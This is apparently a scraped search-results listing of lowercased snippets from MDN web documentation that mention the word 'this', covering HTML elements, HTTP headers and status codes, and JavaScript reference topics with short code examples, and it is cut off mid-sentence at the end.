this element is unsupported and thus implements the htmlunknownelement interface.
... example <blink>why would somebody use
this?</blink> result (toned down!) specification
this element is non-standard and not part of any specification.
<data> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmldataelement attributes
this element's attributes include the global attributes.
... value
this attribute specifies the machine-readable translation of the content of the element.
<datalist>: The HTML Data List element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role listbox permitted aria roles no role permitted dom interface htmldatalistelement attributes
this element has no other attributes than the global attributes, common to all elements.
... examples <label for="mybrowser">choose a browser from
this list:</label> <input list="browsers" id="mybrowser" name="mybrowser" /> <datalist id="browsers"> <option value="chrome"> <option value="firefox"> <option value="internet explorer"> <option value="opera"> <option value="safari"> <option value="microsoft edge"> </datalist> result specifications specification status comment html living standardthe definition of '<datalist>' in that specification.
<dd>: The Description Details element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role definition permitted aria roles no role permitted dom interface htmlelement attributes
this element's attributes include the global attributes.
... nowrap if the value of
this attribute is set to yes, the definition text will not wrap.
<dialog>: The Dialog element - HTML: Hypertext Markup Language
permitted parents any element that accepts flow content implicit aria role dialog permitted aria roles alertdialog dom interface htmldialogelement attributes
this element includes the global attributes.
... examples simple example <dialog open> <p>greetings, one and all!</p> </dialog> advanced example
this example opens a pop-up dialog box that contains a form, when the "update details" button is clicked.
...tputbox = document.queryselector('output'); var selectel = document.queryselector('select'); var confirmbtn = document.getelementbyid('confirmbtn'); // "update details" button opens the <dialog> modally updatebutton.addeventlistener('click', function onopen() { if (typeof favdialog.showmodal === "function") { favdialog.showmodal(); } else { alert("the <dialog> api is not supported by
this browser"); } }); // "favorite animal" input sets the value of the submit button selectel.addeventlistener('change', function onselect(e) { confirmbtn.value = selectel.value; }); // "confirm" button of form triggers "close" on dialog because of [method="dialog"] favdialog.addeventlistener('close', function onclose() { outputbox.value = favdialog.returnvalue + " button clicked - " + (new date...
<div>: The Content Division element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmldivelement attributes
this element includes the global attributes.
...you name it!</p> </div> the result looks like
this: a styled example
this example creates a shadowed box by applying a style to the <div> using css.
<footer> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role contentinfo, or no corresponding role if a descendant of an article, aside, main, nav or section element, or an element with role=article, complementary, main, navigation or region permitted aria roles group, presentation or none dom interface htmlelement attributes
this element only includes the global attributes.
...to address
this, add role="contentinfo" to the footer element.
<main> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role main permitted aria roles no role permitted dom interface htmlelement attributes
this element only includes the global attributes.
...
this lets the user access the main content of the page faster.
<ol>: The Ordered List element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role list permitted aria roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar, tree dom interface htmlolistelement attributes
this element also accepts the global attributes.
... reversed
this boolean attribute specifies that the list’s items are in reverse order.
<picture>: The Picture element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...
this lets browsers opt for lower-density versions in data-saving modes, and you don't have to write explicit media conditions.
... implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlpictureelement attributes
this element includes only global attributes.
<rt>: The Ruby Text element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
... examples
this simple example provides romaji transliteration for the kanji characters within the <ruby> element: <ruby> 漢 <rt>kan</rt> 字 <rt>ji</rt> </ruby> body { font-size: 22px; } the output looks like
this in your browser: on a browser without ruby support,
this example might look like
this: 漢 kan 字 ji body { font-size: 22px; } specifications specification status comment html living standardthe definition of '<rt>' in that specification.
<section>: The Generic Section element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role region if the element has an accessible name, otherwise no corresponding role permitted aria roles alert, alertdialog, application, banner, complementary, contentinfo, dialog, document, feed, log, main, marquee, navigation, none, note, presentation, search, status, tabpanel dom interface htmlelement attributes
this element only includes the global attributes.
... do not use the <section> element as a generic container;
this is what <div> is for, especially when the sectioning is only for styling purposes.
<title>: The Document Title element - HTML: Hypertext Markup Language
dom interface htmltitleelement attributes
this element only includes the global attributes.
... example <title>awesome interesting stuff</title>
this example establishes a page whose title (as displayed at the top of the window or in the window's tab) as "awesome interesting stuff".
...
this is because navigating into a page to determine its content can be a time consuming and potentially confusing process.
accesskey - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...however,
this does not work in most browsers.
...if the system lacks a method of notifying the user about
this feature, the user might accidentally activate accesskeys.
contenteditable - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... if
this attribute is missing or its value is invalid, its value is inherited from its parent element: so the element is editable if its parent is editable.
... note that although its allowed values include true and false,
this attribute is an enumerated one and not a boolean one.
contextmenu - HTML: Hypertext Markup Language
the contextmenu attribute is obsolete and will be removed from all browsers the contextmenu global attribute is the id of a <menu> to use as the contextual menu for
this element.
...html5 now allows us to customize
this menu.
... </li> <li contextmenu="changefont" id="fontsizing"> on
this specific list element, you can change the size of the text by using the "increase/decrease font" actions from your context menu </li> <menu type="context" id="changefont"> <menuitem label="increase font" onclick="incfont()"></menuitem> <menuitem label="decrease font" onclick="decfont()"></menuitem> </menu> <li contextmenu="changeimage" id="changeimage"> on ...
draggable - HTML: Hypertext Markup Language
this attribute is enumerated and not boolean.
... if
this attribute is not set, its default value is auto, which means drag behavior is the default browser behavior: only text selections, images, and links can be dragged.
... for other elements, the event ondragstart must be set for drag and drop to work, as shown in
this comprehensive example.
id - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...
this attribute's value is an opaque string:
this means that web authors should not rely on it to convey human-readable information (although having your ids somewhat human-readable can be useful for code comprehension, e.g.
...though
this restriction has been lifted in html5, an id should start with a letter for compatibility.
itemprop - HTML: Hypertext Markup Language
the outer item in
this example is a top-level microdata item.
... all the properties separated from their items
this example is the same as the previous one, but all the properties are separated from their items <div itemscope id="amanda" itemref="a b"></div> <p id="a">name: <span itemprop="name">amanda</span></p> <div id="b" itemprop="band" itemscope itemref="c"></div> <div id="c"> <p>band: <span itemprop="name">jazz band</span></p> <p>size: <span itemprop="size">12</span> players</p> </div>
this gives the same result as the previous example.
... ice cream with two flavors <div itemscope> <p>flavors in my favorite ice cream:</p> <ul> <li itemprop="flavor">lemon sorbet</li> <li itemprop="flavor">apricot sorbet</li> </ul> </div>
this results in an item with two properties, both with the name "flavor" and having the values "lemon sorbet" and "apricot sorbet".
translate - HTML: Hypertext Markup Language
although not all browsers recognize
this attribute, it is respected by automatic translation systems such as google translate, and may also be respected by tools used by human translators.
... as such it's important that web authors use
this attribute to mark content that should not be translated.
... examples in
this example, the translate attribute is used to ask translation tools not to translate the company's brand name in the footer.
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
this is essential in order to support websites that were built before the widespread adoption of web standards.
...to ensure that your page uses full standards mode, make sure that your page has a doctype like in
this example: <!doctype html> <html lang="en"> <head> <meta charset=utf-8> <title>hello world!</title> </head> <body> </body> </html> the doctype shown in the example, <!doctype html>, is the simplest possible, and the one recommended by html5.
... earlier versions of the html standard recommended other variants, but all existing browsers today will use full standards mode for
this doctype, even the dated internet explorer 6.
Identifying resources on the Web - HTTP
a more complex example might look like
this: http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#somewhereinthedocument urns a uniform resource name (urn) is a uri that identifies a resource by name in a particular namespace.
... port :80 is the port in
this instance.
...in the early days of the web, a path like
this represented a physical file location on the web server.
Reason: CORS request did not succeed - HTTP
other possible causes include: trying to access an https resource that has an invalid certificate will cause
this error.
... trying to access an http resource from a page with an https origin will also cause
this error.
... as of firefox 68, https pages are not permitted to access http://localhost, although
this may be changed by bug 1488740.
Reason: CORS request not HTTP - HTTP
this often occurs if the url specifies a local file, using a file:/// url.
... to fix
this problem, simply make sure you use https urls when issuing requests involving cors, such as xmlhttprequest, fetch apis, web fonts (@font-face), and webgl textures, and xsl stylesheets.
...
this new behavior is enabled by default using the privacy.file_unique_origin preference.
CORS errors - HTTP
this is used to explicitly allow some cross-origin requests while rejecting others.
...
this might not necessarily be a set-up mistake, though.
...it will probably look like
this: the text of the error message will be something similar to the following: cross-origin request blocked: the same origin policy disallows reading the remote resource at https://some-url-here.
Cross-Origin Resource Policy (CORP) - HTTP
as
this policy is expressed via a response header, the actual request is not prevented—rather, the browser prevents the result from being leaked by stripping the response body.
...exercise caution using
this header in a production environment.
... warning:
this is less secure than an origin.
Content-Disposition - HTTP
content-disposition: form-data content-disposition: form-data; name="fieldname" content-disposition: form-data; name="fieldname"; filename="filename.jpg" directives name is followed by a string containing the name of the html field in the form that the content of
this subpart refers to.
...
this parameter provides mostly indicative information.
... examples a response triggering the "save as" dialog: 200 ok content-type: text/html; charset=utf-8 content-disposition: attachment; filename="cool.html" content-length: 21 <html>save me!</html>
this simple html file will be saved as a regular download rather than displayed in the browser.
Feature-Policy: accelerometer - HTTP
syntax feature-policy: accelerometer <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: ambient-light-sensor - HTTP
syntax feature-policy: ambient-light-sensor <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: battery - HTTP
syntax feature-policy: battery <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: display-capture - HTTP
syntax feature-policy: display-capture <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: gyroscope - HTTP
syntax feature-policy: gyroscope <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: layout-animations - HTTP
syntax feature-policy: layout-animations <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: legacy-image-formats - HTTP
syntax feature-policy: legacy-image-formats <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: magnetometer - HTTP
syntax feature-policy: magnetometer <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: oversized-images - HTTP
syntax feature-policy: oversized-images <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: picture-in-picture - HTTP
syntax feature-policy: picture-in-picture <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: sync-xhr - HTTP
syntax feature-policy: sync-xhr <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: unoptimized-images - HTTP
syntax feature-policy: unoptimized-images <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: usb - HTTP
syntax feature-policy: usb <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Feature-Policy: vibrate - HTTP
syntax feature-policy: vibrate <allowlist>; <vibrate> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
web-share - HTTP
syntax feature-policy: web-share <allowlist>; <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in
this document, and all nested browsing contexts (iframes) regardless of their origin.
... 'self': the feature will be allowed in
this document, and in all nested browsing contexts (iframes) in the same origin.
... 'src': (in an iframe allow attribute only) the feature will be allowed in
this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src attribute.
Keep-Alive - HTTP
the connection header needs to be set to "keep-alive" for
this header to have any meaning.
... max: indicating the maximum number of requests that can be sent on
this connection before closing it.
... unless 0,
this value is ignored for non-pipelined connections as another request will be sent in the next response.
Retry-After - HTTP
there are three main cases
this header is used: when sent with a 503 (service unavailable) response,
this indicates how long the service is expected to be unavailable.
... when sent with a 429 (too many requests) response,
this indicates how long to wait before making a new request.
... when sent with a redirect response, such as 301 (moved permanently),
this indicates the minimum time that the user agent is asked to wait before issuing the redirected request.
Tk - HTTP
the origin server believes it has received prior consent for tracking
this user, user agent, or device.
...the origin server does not know, in real-time, whether it has received prior consent for tracking
this user, user agent, or device, but promises not to use or share any dnt:1 data until such consent has been determined, and further promises to delete or permanently de-identify within 48 hours any dnt:1 data received for which such consent has not been received.
...the request resulted in a potential change to the tracking status applicable to
this user, user agent, or device.
HTTP resources and specifications - HTTP
designed with extensibility in mind, it has seen numerous additions over the years;
this lead to its specification being scattered through numerous specification documents (in the midst of experimental abandoned extensions).
...
this page lists relevant resources about http.
... proposed standard rfc 7239 forwarded http extension proposed standard rfc 6455 the websocket protocol proposed standard rfc 5246 the transport layer security (tls) protocol version 1.2
this specification has been modified by subsequent rfcs, but these modifications have no effect on the http protocol.
301 Moved Permanently - HTTP
a browser redirects to
this page and search engines update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is sent to the new url).
... even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents align with it - you can still find
this type of bugged software out there.
... it is therefore recommended to use the 301 code only as a response for get or head methods and to use the 308 permanent redirect for post methods instead, as the method change is explicitly prohibited with
this status.
302 Found - HTTP
a browser redirects to
this page but search engines don't update their links to the resource (in 'seo-speak', it is said that the 'link-juice' is not sent to the new url).
... even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents conform here - you can still find
this type of bugged software out there.
...
this is useful when you want to give a response to a put method that is not the uploaded resource but a confirmation message such as: 'you successfully uploaded xyz'.
406 Not Acceptable - HTTP
proactive content negotiation headers include: accept accept-charset accept-encoding accept-language in practice,
this error is very rarely used.
... instead of responding using
this error code, which would be cryptic for the end user and difficult to fix, servers ignore the relevant header and serve an actual page to the user.
... it is assumed that even if the user won't be completely happy, they will prefer
this to an error code.
408 Request Timeout - HTTP
the hypertext transfer protocol (http) 408 request timeout response status code means that the server would like to shut down
this unused connection.
...
this response is used much more since some browsers, like chrome, firefox 27+, and ie9, use http pre-connection mechanisms to speed up surfing.
... note: some servers merely shut down the connection without sending
this message.
431 Request Header Fields Too Large - HTTP
to help those running into
this error, indicate which of the two is the problem in the response body — ideally, also include which headers are too large.
...
this lets users attempt to fix the problem, such as by clearing their cookies.
... servers will often produce
this status if: the referer url is too long there are too many cookies sent in the request status 431 request header fields too large specifications specification title rfc 6585, section 5: 431 request header fields too large additional http status codes ...
451 Unavailable For Legal Reasons - HTTP
status 451 unavailable for legal reasons example
this example response is taken from the ietf rfc (see below) and contains a reference to monty python's life of brian.
...
this includes the name of the person or organization that made a legal demand resulting in the content's removal.
... http/1.1 451 unavailable for legal reasons link: <https://spqr.example.org/legislatione>; rel="blocked-by" content-type: text/html <html> <head><title>unavailable for legal reasons</title></head> <body> <h1>unavailable for legal reasons</h1> <p>
this request may not be serviced in the roman province of judea due to the lex julia majestatis, which disallows access to resources hosted on servers deemed to be operated by the people's front of judea.</p> </body> </html> specifications specification title rfc 7725: 451 unavailable for legal reasons an http status code to report legal obstacles ...
503 Service Unavailable - HTTP
this response should be used for temporary conditions and the retry-after http header should, if possible, contain the estimated time for the recovery of the service.
... note: together with
this response, a user-friendly page explaining the problem should be sent.
... caching-related headers that are sent along with
this response should be taken care of, as a 503 status is often a temporary condition and responses shouldn't usually be cached.
About JavaScript - JavaScript
this engine, code named spidermonkey, is implemented in c/c++.
...
this is also the engine used by node.js.
...node.js is a popular example of
this.
Keyed collections - JavaScript
« previousnext »
this chapter introduces collections of data which are indexed by a key; map and set objects contain elements which are iterable in the order of insertion.
...(
this can be bypassed using map = object.create(null).) these three tips can help you to decide whether to use a map or an object: use maps over objects when keys are unknown until run time, and when all keys are the same type and all values are the same type.
... const privates = new weakmap(); function public() { const me = { // private data goes here }; privates.set(
this, me); } public.prototype.method = function () { const me = privates.get(
this); // do stuff with private data in `me`...
Numbers and dates - JavaScript
« previousnext »
this chapter introduces the concepts, objects and functions used to work with and perform calculations using numbers and dates in javascript.
...
this includes using numbers written in various bases including decimal, binary, and hexadecimal, as well as the use of the global math object to perform a wide variety of mathematical operations on numbers.
... for example, the following code displays the number of days left in the current year: var today = new date(); var endyear = new date(1995, 11, 31, 23, 59, 59, 999); // set day and month endyear.setfullyear(today.getfullyear()); // set year to
this year var msperday = 24 * 60 * 60 * 1000; // number of milliseconds per day var daysleft = (endyear.gettime() - today.gettime()) / msperday; var daysleft = math.round(daysleft); //returns days left in the year
this example creates a date object named today that contains today's date.
Character classes - JavaScript
types the following table is also duplicated on
this cheatsheet.
...do not follow
this with another digit.
... to match
this character literally, escape it with itself.
Unicode property escapes - JavaScript
syntax the following section is also duplicated on
this cheatsheet.
... // finding all the letters of a text let story = "it’s the cheshire cat: now i shall have somebody to talk to."; // most explicit form story.match(/\p{general_category=letter}/gu); // it is not mandatory to use the property name for general categories story.match(/\p{letter}/gu); //
this is equivalent (short alias): story.match(/\p{l}/gu); //
this is also equivalent (conjunction of all the subcategories using short aliases) story.match(/\p{lu}|\p{ll}|\p{lt}|\p{lm}|\p{lo}/gu); scripts and script extensions some languages use different scripts for their writing system.
...as shown in
this example, it might be a bit clumsy to work with non latin texts.
JavaScript technologies overview - JavaScript
this core language is also used in non-browser environments, for example in node.js.
...in a browser,
this global object is the window object, but ecmascript only defines the apis not specific to browsers, e.g.
...the w3c standardizes the core document object model, which defines language-agnostic interfaces that abstract html and xml documents as objects, and also defines mechanisms to manipulate
this abstraction.
Warning: JavaScript 1.6's for-each-in loops are deprecated - JavaScript
n now use the standard for...in loop to iterate over specified object keys, and get each value inside the loop: var object = { a: 10, b: 20 }; for (var key in object) { var x = object[key]; console.log(x); // 10 // 20 } or, using for...of (es2015) and object.values (es2017), you can get an array of the specified object values and iterate over the array like
this: var object = { a: 10, b: 20 }; for (var x of object.values(object)) { console.log(x); // 10 // 20 } array iteration for each...in has been used to iterate over specified array elements.
... deprecated syntax var array = [10, 20, 30]; for each (var x in array) { console.log(x); // 10 // 20 // 30 } alternative standard syntax
this is now possible with for...of (es2015) loops as well.
...d for...in loop to iterate over specified object keys, and get each value inside the loop: var object = { a: 10, b: 20 }; for (var key in object) { var value = object[key]; console.log(key, value); // "a", 10 // "b", 20 } or, using for...of (es2015) and object.entries (es2017), you can get an array of the specified object values and iterate over the array like
this: var object = { a: 10, b: 20 }; for (var [key, value] of object.entries(object)) { console.log(key, value); // "a", 10 // "b", 20 } ...
TypeError: setting getter-only property "x" - JavaScript
while
this will be silently ignored in non-strict mode, it will throw a typeerror in strict mode.
... "use strict"; function archiver() { var temperature = null; object.defineproperty(
this, 'temperature', { get: function() { console.log('get!'); return temperature; } }); } var arc = new archiver(); arc.temperature; // 'get!' arc.temperature = 30; // typeerror: setting getter-only property "temperature" to fix
this error, you will either need to remove line 16, where there is an attempt to set the temperature property, or you will need to implement a setter for it, for example like
this: "use strict";...
... function archiver() { var temperature = null; var archive = []; object.defineproperty(
this, 'temperature', { get: function() { console.log('get!'); return temperature; }, set: function(value) { temperature = value; archive.push({ val: temperature }); } });
this.getarchive = function() { return archive; }; } var arc = new archiver(); arc.temperature; // 'get!' arc.temperature = 11; arc.temperature = 13; arc.getarchive(); // [{ val: 11 }, { val: 13 }] ...
SyntaxError: for-in loop head declarations may not have initializers - JavaScript
this is not allowed in for-of loops in strict mode.
...in non-strict mode,
this head declaration is silently ignored and behaves like |for (var i in obj)|.
... examples
this example throws a syntaxerror: "use strict"; var obj = {a: 1, b: 2, c: 3 }; for (var i = 0 in obj) { console.log(obj[i]); } // syntaxerror: for-in loop head declarations may not have initializers valid for-in loop you can remove the initializer (i = 0) in the head of the for-in loop.
SyntaxError: missing : after property id - JavaScript
somehow,
this colon is missing or misplaced.
...equal signs
this code fails, as the equal sign can't be used
this way in
this object initializer syntax.
... var obj = { propertykey: 'value' }; // or alternatively var obj = { }; obj['propertykey'] = 'value'; empty properties you can't create empty properties like
this: var obj = { propertykey; }; // syntaxerror: missing : after property id if you need to define a property without a value, you might use null as a value.
SyntaxError: missing ) after argument list - JavaScript
this might be a typo, a missing operator, or an unescaped string.
...
this might be a typo, a missing operator, or an unescaped string, for example.
...to fix
this, we could put a' after the "script" string: console.log('"java" + "script" = \"' + 'java' + 'script\"'); // '"java" + "script" = "javascript"' ...
TypeError: "x" is read-only - JavaScript
(technically, it is a non-writable data property.)
this error happens only in strict mode code.
... 'use strict'; var obj = object.freeze({name: 'elsa', score: 157}); obj.score = 0; // typeerror 'use strict'; object.defineproperty(
this, 'lung_count', {value: 2, writable: false}); lung_count = 3; // typeerror 'use strict'; var frozenarray = object.freeze([0, 1, 2]); frozenarray[0]++; // typeerror there are also a few read-only properties built into javascript.
... the global variable undefined is also read-only, so you can't silence the infamous "undefined is not a function" error by doing
this: 'use strict'; undefined = function() {}; // typeerror: "undefined" is read-only valid cases 'use strict'; var obj = object.freeze({name: 'score', points: 157}); obj = {name: obj.name, points: 0}; // replacing it with a new object works 'use strict'; var lung_count = 2; // a `var` works, because it's not read-only lung_count = 3; // ok (anatomically unlikely, though) ...
SyntaxError: "use strict" not allowed in function with non-simple parameters - JavaScript
examples function statement in
this case, the function sum has default parameters a=1 and b=2: function sum(a = 1, b = 2) { // syntaxerror: "use strict" not allowed in function with default parameter 'use strict'; return a + b; } if the function should be in strict mode, and the entire script or enclosing function is also okay to be in strict mode, you can move the "use strict" directive outside of the function: 'use stri...
...ct'; function sum(a = 1, b = 2) { return a + b; } function expression a function expression can use yet another workaround: var sum = function sum([a, b]) { // syntaxerror: "use strict" not allowed in function with destructuring parameter 'use strict'; return a + b; };
this can be converted to the following expression: var sum = (function() { 'use strict'; return function sum([a, b]) { return a + b; }; })(); arrow function if an arrow function needs to access the
this variable, you can use the arrow function as the enclosing function: var callback = (...args) => { // syntaxerror: "use strict" not allowed in function with rest parameter 'use strict'; return
this.run(args); };
this can be converted to the following expression: var callback = (() => { 'use ...
...strict'; return (...args) => { return
this.run(args); }; })(); ...
Rest parameters - JavaScript
the source for
this interactive example is stored in a github repository.
...rray.from(arguments) let first = normalarray.shift() // ok, gives the first argument let first = arguments.shift() // error (arguments is not a normal array) } // now, you can easily gain access to a normal array using a rest parameter function f(...args) { let normalarray = args let first = normalarray.shift() // ok, gives the first argument } examples using rest parameters in
this example, the first argument is mapped to a and the second to b, so these named arguments are used as normal.
...= multiply(2, 1, 2, 3) console.log(arr) // [2, 4, 6] use with the arguments object array methods can be used on rest parameters, but not on the arguments object: function sortrestargs(...theargs) { let sortedargs = theargs.sort() return sortedargs } console.log(sortrestargs(5, 3, 7, 1)) // 1, 3, 5, 7 function sortarguments() { let sortedargs = arguments.sort() return sortedargs //
this will never happen } console.log(sortarguments(5, 3, 7, 1)) // throws a typeerror (arguments.sort is not a function) to use array methods on the arguments object, it must be converted to a real array first.
setter - JavaScript
the source for
this interactive example is stored in a github repository.
...when current is assigned a value, it updates log with that value: const language = { set current(name) {
this.log.push(name); }, log: [] } language.current = 'en'; console.log(language.log); // ['en'] language.current = 'fa'; console.log(language.log); // ['en', 'fa'] note that current is not defined, and any attempts to access it will result in undefined.
... const o = {a: 0}; object.defineproperty(o, 'b', { set: function(x) {
this.a = x / 2; } }); o.b = 10; // runs the setter, which assigns 10 / 2 (5) to the 'a' property console.log(o.a) // 5 using a computed property name const expr = 'foo'; const obj = { baz: 'bar', set [expr](v) {
this.baz = v; } }; console.log(obj.baz); // "bar" obj.foo = 'baz'; // run the setter console.log(obj.baz); // "baz" specifications specification ecmascript (ecma-262)the definition of 'method definitions' in that s...
Array.prototype.includes() - JavaScript
the source for
this interactive example is stored in a github repository.
... fromindex optional the position in
this array at which to begin searching for valuetofind.
...it does not require
this value to be an array object, so it can be applied to other kinds of objects (e.g.
Array.prototype.pop() - JavaScript
this method changes the length of the array.
... the source for
this interactive example is stored in a github repository.
... pop is intentionally generic;
this method can be called or applied to objects resembling arrays.
ArrayBuffer.prototype.byteLength - JavaScript
the source for
this interactive example is stored in a github repository.
... description the bytelength property is an accessor property whose set accessor function is undefined, meaning that you can only read
this property.
...
this property returns 0 if
this arraybuffer has been detached.
ArrayBuffer.prototype.slice() - JavaScript
the slice() method returns a new arraybuffer whose contents are a copy of
this arraybuffer's bytes from begin, inclusive, up to end, exclusive.
... the source for
this interactive example is stored in a github repository.
...if end is unspecified, the new arraybuffer contains all bytes from begin to the end of
this arraybuffer.
ArrayBuffer - JavaScript
this is established when the array is constructed and cannot be changed.
... instance methods arraybuffer.prototype.slice() returns a new arraybuffer whose contents are a copy of
this arraybuffer's bytes from begin (inclusive) up to end (exclusive).
... examples creating an arraybuffer in
this example, we create a 8-byte buffer with a int32array view referring to the buffer: const buffer = new arraybuffer(8); const view = new int32array(buffer); specifications specification ecmascript (ecma-262)the definition of 'arraybuffer' in that specification.
DataView() constructor - JavaScript
the source for
this interactive example is stored in a github repository.
...
this means handling integer and float conversion, endianness, and other details of representing numbers in binary form.
... for example, if the buffer is 16 bytes long, the byteoffset is 8, and the bytelength is 10,
this error is thrown because the resulting view tries to extend 2 bytes past the total length of the buffer.
DataView.prototype.byteLength - JavaScript
the bytelength accessor property represents the length (in bytes) of
this view from the start of its arraybuffer or sharedarraybuffer.
... the source for
this interactive example is stored in a github repository.
... description the bytelength property is an accessor property whose set accessor function is undefined, meaning that you can only read
this property.
DataView.prototype.byteOffset - JavaScript
the byteoffset accessor property represents the offset (in bytes) of
this view from the start of its arraybuffer or sharedarraybuffer.
... the source for
this interactive example is stored in a github repository.
... description the byteoffset property is an accessor property whose set accessor function is undefined, meaning that you can only read
this property.
DataView - JavaScript
instance properties dataview.prototype.buffer the arraybuffer referenced by
this view.
... dataview.prototype.bytelength the length (in bytes) of
